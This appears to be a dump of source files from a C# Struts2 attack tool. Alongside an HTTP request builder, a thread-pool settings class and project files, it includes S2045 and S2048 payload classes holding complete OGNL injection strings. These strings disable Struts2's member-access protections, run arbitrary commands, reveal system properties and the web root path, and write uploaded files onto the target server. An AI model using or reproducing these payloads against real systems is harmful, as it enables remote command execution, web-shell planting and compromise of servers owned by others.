ContentType + "\r\n"); 99 | } 100 | 101 | } 102 | 103 | if (!"".Equals(Cookie)) 104 | { 105 | sb.Append("Cookie: " + Cookie + "\r\n"); 106 | } 107 | sb.Append("\r\n"); 108 | if (MUData.Count > 0) 109 | { 110 | foreach (var c in this.MUData) 111 | { 112 | sb.Append("-----------------------------7e116d19044c\r\nContent-Disposition: form-data; name=" + c.Key + "\r\n\r\n" + c.Value + "\r\n"); 113 | } 114 | sb.Append("-----------------------------7e116d19044c--"); 115 | } 116 | else if (!"".Equals(data)) 117 | { 118 | sb.Append(data); 119 | } 120 | return sb.ToString(); 121 | 122 | } 123 | /// 124 | /// 默认GET 125 | /// 126 | public String Referer = ""; 127 | 128 | /// 129 | /// 默认GET 130 | /// 131 | public String PathAndQuery = "/"; 132 | 133 | /// 134 | /// 默认空 135 | /// 136 | public String Accept = ""; 137 | 138 | /// 139 | /// 默认zh_CN 140 | /// 141 | public String AcceptLanguage = "zh_CN"; 142 | 143 | /// 144 | /// 默认Auto Spider 1.0 145 | /// 146 | public String UserAgent = "Auto Spider 1.0"; 147 | 148 | /// 149 | /// 默认空 150 | /// 151 | public String AcceptEncoding = "gzip, deflate"; 152 | 153 | /// 154 | /// 默认空 155 | /// 156 | public String Connection = "close"; 157 | /// 158 | /// 默认空 159 | /// 160 | public String ContentType = ""; 161 | 162 | /// 163 | /// 默认空 164 | /// 165 | public String Cookie = ""; 166 | 167 | /// 168 | /// 默认GET 169 | /// 170 | public String Method = "GET"; 171 | 172 | /// 173 | /// 默认GET 174 | /// 175 | public Boolean UpdateContentLength = true; 176 | 177 | /// 178 | /// 请求包 179 | /// 180 | public String Body = ""; 181 | 182 | /// 183 | /// 默认不是HTTPS 184 | /// 185 | public Boolean ISSSL = false; 186 | 187 | 188 | /// 189 | ///发包失败重发次数,默认0次 190 | /// 191 | /// 192 | public int TryCount = 0; 193 | 194 | /// 195 | ///域名、IP、主机头 196 | /// 197 | /// 198 | public String Host = ""; 199 | 200 | /// 201 | ///默认80 202 | /// 203 | /// 204 | public int Port = 80; 205 | 206 | 207 | /// 208 | ///默认null,自动识别编码 209 | /// 210 | /// 211 | public String Encode = ""; 212 | 213 | 214 | /// 215 | ///默认重定向 216 | /// 217 | /// 218 | public Boolean Redirect = false; 219 | 220 | /// 221 | ///重定向使用GET方法默认,否则使用POST 222 | /// 223 | /// 224 | public Boolean RedirectByGet = true; 225 | 226 | /// 227 | ///超时时间毫秒,默认15秒 228 | /// 229 | /// 230 | public int Timeout = 15000; 231 | } 232 | } 233 | -------------------------------------------------------------------------------- /Test/payload/S2045.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace payload 6 | { 7 | public class S2045:BasePayload 8 | { 9 | private String Exp_Check = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}"; 10 | private String Exp_VerInfo = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('[vername]:')).(#res.getWriter().print(@java.lang.System@getProperty('[vername]'))).(#res.getWriter().flush()).(#res.getWriter().close())}"; 11 | 12 | private String Exp_Path= "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).(#res.getWriter().print('path:')).(#res.getWriter().print(#req.getSession().getServletContext().getRealPath('/'))).(#res.getWriter().flush()).(#res.getWriter().close())}"; 13 | 14 | private String Exp_Exec = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('[cmd]'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}"; 15 | 16 | 17 | //private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}"; 18 | //private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(new java.net.URLDecoder().decode(#req.getHeader('test'),'UTF-8')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}"; 19 | //大文件 20 | private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#fs=new java.io.FileOutputStream(#req.getSession().getServletContext().getRealPath('/[pathfilename]'))).(#out=#res.getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#fs)).(#fs.close()).(#out.print('oko')).(#out.print('kok/')).(#out.print(#req.getContextPath())).(#out.close())}"; 21 | private String Exp_SetMyUpload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.File('[path]').mkdirs()).(#fs=new java.io.FileOutputStream('[pathfilename]')).(#out=#res.getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#fs)).(#fs.close()).(#out.print('oko')).(#out.print('kok/')).(#out.print(#req.getContextPath())).(#out.close())}"; 22 | 23 | public String Get_Exp_Check() 24 | { 25 | return this.Exp_Check; 26 | } 27 | public String Get_Exp_VerInfo(String vername) 28 | { 29 | return this.Exp_VerInfo.Replace("[vername]", vername); ; 30 | } 31 | public String Get_Exp_Path() { 32 | return this.Exp_Path; 33 | } 34 | public String Get_Exp_Exec(String cmd) 35 | { 36 | return this.Exp_Exec.Replace("[cmd]",cmd); 37 | } 38 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 39 | { 40 | if ("".Equals(path)) 41 | { 42 | this.Exp_Upload = this.Exp_Upload.Replace("[pathfilename]", fileName); 43 | return this.Exp_Upload.Replace("[filecontent]", fileContent); 44 | } 45 | else { 46 | this.Exp_SetMyUpload = this.Exp_Upload.Replace("[path]", path); 47 | this.Exp_SetMyUpload = this.Exp_Upload.Replace("[pathfilename]", path+"/"+ fileName); 48 | return this.Exp_SetMyUpload.Replace("[filecontent]", fileContent); 49 | } 50 | 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /Test/Test.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Debug 5 | AnyCPU 6 | 9.0.30729 7 | 2.0 8 | {068A5E7C-AA36-4602-8802-A234A9690755} 9 | WinExe 10 | Properties 11 | Test 12 | Test 13 | v4.0 14 | 512 15 | 16 | 17 | 18 | 19 | 3.5 20 | 21 | false 22 | publish\ 23 | true 24 | Disk 25 | false 26 | Foreground 27 | 7 28 | Days 29 | false 30 | false 31 | true 32 | 0 33 | 1.8.0.%2a 34 | false 35 | true 36 | 37 | 38 | true 39 | full 40 | false 41 | bin\Debug\ 42 | DEBUG;TRACE 43 | prompt 44 | 4 45 | x86 46 | false 47 | 48 | 49 | pdbonly 50 | true 51 | bin\Release\ 52 | TRACE 53 | prompt 54 | 4 55 | false 56 | 57 | 58 | x64 59 | bin\x86\Debug\ 60 | TRACE;DEBUG 61 | false 62 | 63 | 64 | x86 65 | bin\x86\Release\ 66 | false 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | Form 84 | 85 | 86 | Main.cs 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | Main.cs 132 | 133 | 134 | ResXFileCodeGenerator 135 | Resources.Designer.cs 136 | Designer 137 | 138 | 139 | True 140 | Resources.resx 141 | True 142 | 143 | 144 | SettingsSingleFileGenerator 145 | Settings.Designer.cs 146 | 147 | 148 | True 149 | Settings.settings 150 | True 151 | 152 | 153 | 154 | 155 | False 156 | .NET Framework 3.5 SP1 Client Profile 157 | false 158 | 159 | 160 | False 161 | .NET Framework 3.5 SP1 162 | true 163 | 164 | 165 | False 166 | Windows Installer 3.1 167 | true 168 | 169 | 170 | 171 | 172 | 173 | 174 | 181 | -------------------------------------------------------------------------------- /Test/smartthread/STPStartInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | 4 | namespace Amib.Threading 5 | { 6 | /// 7 | /// Summary description for STPStartInfo. 8 | /// 9 | public class STPStartInfo : WIGStartInfo 10 | { 11 | private int _idleTimeout = SmartThreadPool.DefaultIdleTimeout; 12 | private int _minWorkerThreads = SmartThreadPool.DefaultMinWorkerThreads; 13 | private int _maxWorkerThreads = SmartThreadPool.DefaultMaxWorkerThreads; 14 | #if !(WINDOWS_PHONE) 15 | private ThreadPriority _threadPriority = SmartThreadPool.DefaultThreadPriority; 16 | #endif 17 | private string _performanceCounterInstanceName = SmartThreadPool.DefaultPerformanceCounterInstanceName; 18 | private bool _areThreadsBackground = SmartThreadPool.DefaultAreThreadsBackground; 19 | private bool _enableLocalPerformanceCounters; 20 | private string _threadPoolName = SmartThreadPool.DefaultThreadPoolName; 21 | private int? _maxStackSize = SmartThreadPool.DefaultMaxStackSize; 22 | private int? _maxQueueLength = SmartThreadPool.DefaultMaxQueueLength; 23 | 24 | public STPStartInfo() 25 | { 26 | _performanceCounterInstanceName = SmartThreadPool.DefaultPerformanceCounterInstanceName; 27 | #if !(WINDOWS_PHONE) 28 | _threadPriority = SmartThreadPool.DefaultThreadPriority; 29 | #endif 30 | _maxWorkerThreads = SmartThreadPool.DefaultMaxWorkerThreads; 31 | _idleTimeout = SmartThreadPool.DefaultIdleTimeout; 32 | _minWorkerThreads = SmartThreadPool.DefaultMinWorkerThreads; 33 | } 34 | 35 | public STPStartInfo(STPStartInfo stpStartInfo) 36 | : base(stpStartInfo) 37 | { 38 | _idleTimeout = stpStartInfo.IdleTimeout; 39 | _minWorkerThreads = stpStartInfo.MinWorkerThreads; 40 | _maxWorkerThreads = stpStartInfo.MaxWorkerThreads; 41 | #if !(WINDOWS_PHONE) 42 | _threadPriority = stpStartInfo.ThreadPriority; 43 | #endif 44 | _performanceCounterInstanceName = stpStartInfo.PerformanceCounterInstanceName; 45 | _enableLocalPerformanceCounters = stpStartInfo._enableLocalPerformanceCounters; 46 | _threadPoolName = stpStartInfo._threadPoolName; 47 | _areThreadsBackground = stpStartInfo.AreThreadsBackground; 48 | _maxQueueLength = stpStartInfo.MaxQueueLength; 49 | #if !(_SILVERLIGHT) && !(WINDOWS_PHONE) 50 | _apartmentState = stpStartInfo._apartmentState; 51 | #endif 52 | _maxStackSize = stpStartInfo._maxStackSize; 53 | } 54 | 55 | /// 56 | /// Get/Set the idle timeout in milliseconds. 57 | /// If a thread is idle (starved) longer than IdleTimeout then it may quit. 58 | /// 59 | public virtual int IdleTimeout 60 | { 61 | get { return _idleTimeout; } 62 | set 63 | { 64 | ThrowIfReadOnly(); 65 | _idleTimeout = value; 66 | } 67 | } 68 | 69 | 70 | /// 71 | /// Get/Set the lower limit of threads in the pool. 72 | /// 73 | public virtual int MinWorkerThreads 74 | { 75 | get { return _minWorkerThreads; } 76 | set 77 | { 78 | ThrowIfReadOnly(); 79 | _minWorkerThreads = value; 80 | } 81 | } 82 | 83 | 84 | /// 85 | /// Get/Set the upper limit of threads in the pool. 86 | /// 87 | public virtual int MaxWorkerThreads 88 | { 89 | get { return _maxWorkerThreads; } 90 | set 91 | { 92 | ThrowIfReadOnly(); 93 | _maxWorkerThreads = value; 94 | } 95 | } 96 | 97 | #if !(WINDOWS_PHONE) 98 | /// 99 | /// Get/Set the scheduling priority of the threads in the pool. 100 | /// The Os handles the scheduling. 101 | /// 102 | public virtual ThreadPriority ThreadPriority 103 | { 104 | get { return _threadPriority; } 105 | set 106 | { 107 | ThrowIfReadOnly(); 108 | _threadPriority = value; 109 | } 110 | } 111 | #endif 112 | /// 113 | /// Get/Set the thread pool name. Threads will get names depending on this. 114 | /// 115 | public virtual string ThreadPoolName { 116 | get { return _threadPoolName; } 117 | set 118 | { 119 | ThrowIfReadOnly (); 120 | _threadPoolName = value; 121 | } 122 | } 123 | 124 | /// 125 | /// Get/Set the performance counter instance name of this SmartThreadPool 126 | /// The default is null which indicate not to use performance counters at all. 127 | /// 128 | public virtual string PerformanceCounterInstanceName 129 | { 130 | get { return _performanceCounterInstanceName; } 131 | set 132 | { 133 | ThrowIfReadOnly(); 134 | _performanceCounterInstanceName = value; 135 | } 136 | } 137 | 138 | /// 139 | /// Enable/Disable the local performance counter. 140 | /// This enables the user to get some performance information about the SmartThreadPool 141 | /// without using Windows performance counters. (Useful on WindowsCE, Silverlight, etc.) 142 | /// The default is false. 143 | /// 144 | public virtual bool EnableLocalPerformanceCounters 145 | { 146 | get { return _enableLocalPerformanceCounters; } 147 | set 148 | { 149 | ThrowIfReadOnly(); 150 | _enableLocalPerformanceCounters = value; 151 | } 152 | } 153 | 154 | /// 155 | /// Get/Set backgroundness of thread in thread pool. 156 | /// 157 | public virtual bool AreThreadsBackground 158 | { 159 | get { return _areThreadsBackground; } 160 | set 161 | { 162 | ThrowIfReadOnly (); 163 | _areThreadsBackground = value; 164 | } 165 | } 166 | 167 | /// 168 | /// The maximum number of items allowed in the queue. Items attempting to be queued 169 | /// when the queue is at its maximum will throw a QueueRejectedException. 170 | /// 171 | /// Value must be > 0. A null value will leave the queue unbounded (i.e. 172 | /// bounded only by available resources). 173 | /// 174 | /// Ignored when Enqueue()ing on a Thread Pool from within a 175 | /// WorkItemsGroup. 176 | /// 177 | public virtual int? MaxQueueLength 178 | { 179 | get { return _maxQueueLength; } 180 | set 181 | { 182 | ThrowIfReadOnly(); 183 | _maxQueueLength = value; 184 | } 185 | } 186 | 187 | /// 188 | /// Get a readonly version of this STPStartInfo. 189 | /// 190 | /// Returns a readonly reference to this STPStartInfo 191 | public new STPStartInfo AsReadOnly() 192 | { 193 | return new STPStartInfo(this) { _readOnly = true }; 194 | } 195 | 196 | #if !(_SILVERLIGHT) && !(WINDOWS_PHONE) 197 | 198 | private ApartmentState _apartmentState = SmartThreadPool.DefaultApartmentState; 199 | 200 | /// 201 | /// Get/Set the apartment state of threads in the thread pool 202 | /// 203 | public ApartmentState ApartmentState 204 | { 205 | get { return _apartmentState; } 206 | set 207 | { 208 | ThrowIfReadOnly(); 209 | _apartmentState = value; 210 | } 211 | } 212 | 213 | #if !(_SILVERLIGHT) && !(WINDOWS_PHONE) 214 | 215 | /// 216 | /// Get/Set the max stack size of threads in the thread pool 217 | /// 218 | public int? MaxStackSize 219 | { 220 | get { return _maxStackSize; } 221 | set 222 | { 223 | ThrowIfReadOnly(); 224 | if (value.HasValue && value.Value < 0) 225 | { 226 | throw new ArgumentOutOfRangeException("value", "Value must be greater than 0."); 227 | } 228 | _maxStackSize = value; 229 | } 230 | } 231 | #endif 232 | 233 | #endif 234 | } 235 | } 236 | -------------------------------------------------------------------------------- /Test/payload/S2048.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Web; 5 | using tools; 6 | 7 | namespace payload 8 | { 9 | public class S2048:BasePayload 10 | { 11 | private String Exp_Check = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:struts2_security_')).(#res.getWriter().print('check:end')).(#res.getWriter().flush()).(#res.getWriter().close())}"; 12 | private String Exp_VerInfo = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print(':start')).(#res.getWriter().print('[vername]:')).(#res.getWriter().print(@java.lang.System@getProperty('[vername]'))).(#res.getWriter().print(':end')).(#res.getWriter().flush()).(#res.getWriter().close())}"; 13 | 14 | private String Exp_Path= "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:web')).(#res.getWriter().print('path:')).(#res.getWriter().print(#req.getSession().getServletContext().getRealPath('/'))).(#res.getWriter().print(':end')).(#res.getWriter().flush()).(#res.getWriter().close())}"; 15 | 16 | private String Exp_Exec = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('[cmd]'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().print(':end')).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}"; 17 | 18 | 19 | //private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}"; 20 | //private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(new java.net.URLDecoder().decode(#req.getHeader('test'),'UTF-8')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}"; 21 | //大文件 22 | private String Exp_Upload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:')).(#fs=new java.io.FileOutputStream(#req.getSession().getServletContext().getRealPath('/[pathfilename]'))).(#out=#res.getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#fs)).(#fs.close()).(#out.print('oko')).(#out.print('kok/:end')).(#out.print(#req.getContextPath())).(#out.close())}"; 23 | 24 | private String Exp_SetMyUpload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:')).(new java.io.File('[path]').mkdirs()).(#fs=new java.io.FileOutputStream('[pathfilename]')).(#out=#res.getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),#fs)).(#fs.close()).(#out.print('oko')).(#out.print('kok/:end')).(#out.print(#req.getContextPath())).(#out.close())}"; 25 | 26 | public String Get_Exp_Check() 27 | { 28 | String data = String.Format("name={0}&age=a&__checkbox_bustedBefore=true&description=s", URLEncode.UrlEncode(this.Exp_Check)); 29 | return data; 30 | } 31 | public String Get_Exp_VerInfo(String vername) 32 | { 33 | String data=this.Exp_VerInfo.Replace("[vername]", vername); 34 | return String.Format("name={0}&age=a&__checkbox_bustedBefore=true&description=s", System.Web.HttpUtility.UrlEncode(data)); 35 | } 36 | public String Get_Exp_Path() { 37 | return String.Format("name={0}&age=a&__checkbox_bustedBefore=true&description=s", System.Web.HttpUtility.UrlEncode(this.Exp_Path)); 38 | } 39 | public String Get_Exp_Exec(String cmd) 40 | { 41 | String data= this.Exp_Exec.Replace("[cmd]",cmd); 42 | return String.Format("name={0}&age=a&__checkbox_bustedBefore=true&description=s", System.Web.HttpUtility.UrlEncode(data)); 43 | } 44 | public String Get_Exp_Upload(String path,String fileName,String fileContent) 45 | { 46 | String data = ""; 47 | if ("".Equals(path)) 48 | { 49 | this.Exp_Upload = this.Exp_Upload.Replace("[pathfilename]", fileName); 50 | data= this.Exp_Upload.Replace("[filecontent]", fileContent); 51 | } 52 | else 53 | { 54 | this.Exp_SetMyUpload = this.Exp_Upload.Replace("[path]", path); 55 | this.Exp_SetMyUpload = this.Exp_Upload.Replace("[pathfilename]", path + "/" + fileName); 56 | data=this.Exp_SetMyUpload.Replace("[filecontent]", fileContent); 57 | } 58 | return String.Format("name={0}&age=a&__checkbox_bustedBefore=true&description=s", System.Web.HttpUtility.UrlEncode(data)); 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /Test/obj/Debug/Test.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | E:\c#\projects\Test\Test\bin\Debug\Test.exe 2 | E:\c#\projects\Test\Test\bin\Debug\Test.pdb 3 | E:\c#\projects\Test\Test\obj\Debug\ResolveAssemblyReference.cache 4 | E:\c#\projects\Test\Test\obj\Debug\Test.Form1.resources 5 | E:\c#\projects\Test\Test\obj\Debug\Test.Properties.Resources.resources 6 | E:\c#\projects\Test\Test\obj\Debug\Test.csproj.GenerateResource.Cache 7 | E:\c#\projects\Test\Test\obj\Debug\Test.exe 8 | E:\c#\projects\Test\Test\obj\Debug\Test.pdb 9 | E:\c#\projects\Test_bak\Test\obj\Debug\Test.exe 10 | E:\c#\projects\Test_bak\Test\obj\Debug\Test.pdb 11 | E:\c#\projects\Test_bak\Test\bin\Debug\Test.exe 12 | E:\c#\projects\Test_bak\Test\bin\Debug\Test.pdb 13 | E:\c#\projects\Test_bak\Test\obj\Debug\Test.Form1.resources 14 | E:\c#\projects\Test_bak\Test\obj\Debug\Test.Properties.Resources.resources 15 | E:\c#\projects\Test_bak\Test\obj\Debug\Test.csproj.GenerateResource.Cache 16 | E:\c#\projects\Test_bak\Test\bin\Debug\Test.exe.config 17 | E:\c#\projects\struts2013\Test\bin\Debug\Test.exe.config 18 | E:\c#\projects\struts2013\Test\obj\Debug\Test.exe 19 | E:\c#\projects\struts2013\Test\obj\Debug\Test.pdb 20 | E:\c#\projects\struts2013\Test\bin\Debug\Test.exe 21 | 